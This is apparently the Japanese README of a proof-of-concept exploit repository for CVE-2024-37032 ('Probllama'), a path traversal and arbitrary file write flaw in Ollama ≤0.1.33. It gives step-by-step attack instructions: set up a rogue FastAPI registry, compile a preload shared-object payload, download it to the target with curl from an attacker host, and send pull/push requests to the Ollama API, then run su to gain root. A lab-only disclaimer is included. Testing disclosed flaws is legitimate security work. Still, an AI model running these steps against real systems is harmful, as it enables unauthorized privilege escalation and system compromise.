
CVE-2024-37032 (Probllama) Ollama ≤0.1.33用PoC: モデルダイジェスト処理を介したパストラバーサルと任意ファイル書き込み、自動化された権限昇格につながる。
このリポジトリには、許可されたラボテスト用の Proof of Concept の FastAPI レジストリサーバー、コネクタスクリプト、およびプリロードデモライブラリが含まれています。
自分が所有している、または明示的にテストを許可されたシステムでのみ使用してください。
server.py: FastAPI PoC サーバーを起動します。rogue_server/config.py: PoC サーバーの中央設定。connector.py: ターゲットの Ollama API に対してプル/プッシュリクエストを送信します。preload_privs_demo.c: 共有オブジェクトペイロードの C ソース。requirements.txt: PoC サーバーの Python 依存関係。ホストマシンで、Python の依存関係をインストールします:
python -m pip install -r requirements.txt
ホストマシンで rogue_server/config.py を編集します:
HOST = "<your_host_ip_or_host_ip>"
connector.py を編集します:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
注意:
SERVER_HOST は server.py を実行しているホストを指す必要があります。8000 で実行されている場合、HOST と SERVER_HOST の両方にポートを含めます(例: 10.10.16.160:8000)。TARGET_HOST と TARGET_PORT はターゲットの Ollama API を指す必要があります。connector.py をターゲットマシン上で直接実行する場合、通常は 127.0.0.1:11434 で正解です。rogue_server/config.py を変更した場合は、PoC サーバーを再起動します。C ファイルをコンパイルし、出力を libpreload_privs_demo.so という名前にします:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
これらのファイルを許可されたターゲットマシンにコピーします:
libpreload_privs_demo.soconnector.py簡単な方法の 1 つは、ホストマシンから HTTP サーバーで提供することです:
python3 -m http.server 8081
その後、ターゲットマシンからダウンロードします:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
共有オブジェクトをダウンロードしたら、ターゲットマシン上の絶対パスをコピーし、ホストマシン上の rogue_server/config.py の exploit_path にその同じパスを設定します。
例:
exploit_path = "/tmp/libpreload_privs_demo.so"
ホストマシンで FastAPI サーバーを起動します:
python server.py
デフォルトでは、このプロジェクトは Uvicorn を 0.0.0.0:8000 で起動します。
許可されたターゲットマシンで、以下を実行します:
python3 connector.py
コネクタは、設定された Ollama API にプルリクエストとプッシュリクエストを送信します。
コネクタの実行が完了した後、以下を実行します:
su
脆弱で適切に設定されたラボターゲットでは、プリロードパスが使用され、権限の移行が観察できるはずです。
connector.py の SERVER_HOST が rogue_server/config.py の HOST と一致していることを確認します。exploit_path がターゲットマシン上で libpreload_privs_demo.so が存在する正確な絶対パスであることを確認します。TARGET_HOST:TARGET_PORT で到達可能であることを確認します。rogue_server/config.py を変更した後は server.py を再起動します。